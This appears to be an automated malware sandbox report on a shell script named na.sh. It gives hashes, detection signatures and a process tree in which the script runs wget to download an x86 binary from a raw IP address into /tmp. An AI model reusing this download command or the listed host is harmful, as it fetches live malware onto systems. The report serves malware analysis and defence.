Analysis

  • max time kernel
    149s
  • max time network
    104s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    17-10-2024 06:57

General

  • Target

    na.sh

  • Size

    4KB

  • MD5

    5c6503e384afa4d121f7cf871bb3e4a2

  • SHA1

    c7339a2f6aee5906171bb9c8f2437304abbce793

  • SHA256

    2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20

  • SHA512

    6a9c53dba30867099865c24f5394deefd616a5a3dd63e5193592fb7700d5c547258929f81b62cfbc698d4f0dbde7701077b75e9c721e8d7de24e05fef119a038

  • SSDEEP

    96:vNVjdNw4ENx/pNN7VNdMdEpFGNn9vNUswN2maNRfZN3t3NueqNySeNGWyNPlk:UO4Fk

Score
5/10
upx

Malware Config

Signatures

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/na.sh
    /tmp/na.sh
    1⤵
      PID:706
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
        2⤵
        • Writes file to tmp directory
        PID:710

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

      Filesize

      16KB

      MD5

      192301ca2aea2fd1b82f8bc1cb65144b

      SHA1

      910b1b5cbd89d4472a72f2b8b342a337cd67976e

      SHA256

      614a21ab5af6edd8829d4dbaf5fb30e1e38f940af2b96be34e7ec1479ca0a5ea

      SHA512

      ccb4cf0c296c78159cfc9e10829ddfdeadbc0ce6a773b88d01ab5fbdc7488ac31b8e497a74b9dddad5f1041234aff32eb58038b0ad3f81387c5d6e1863fe642e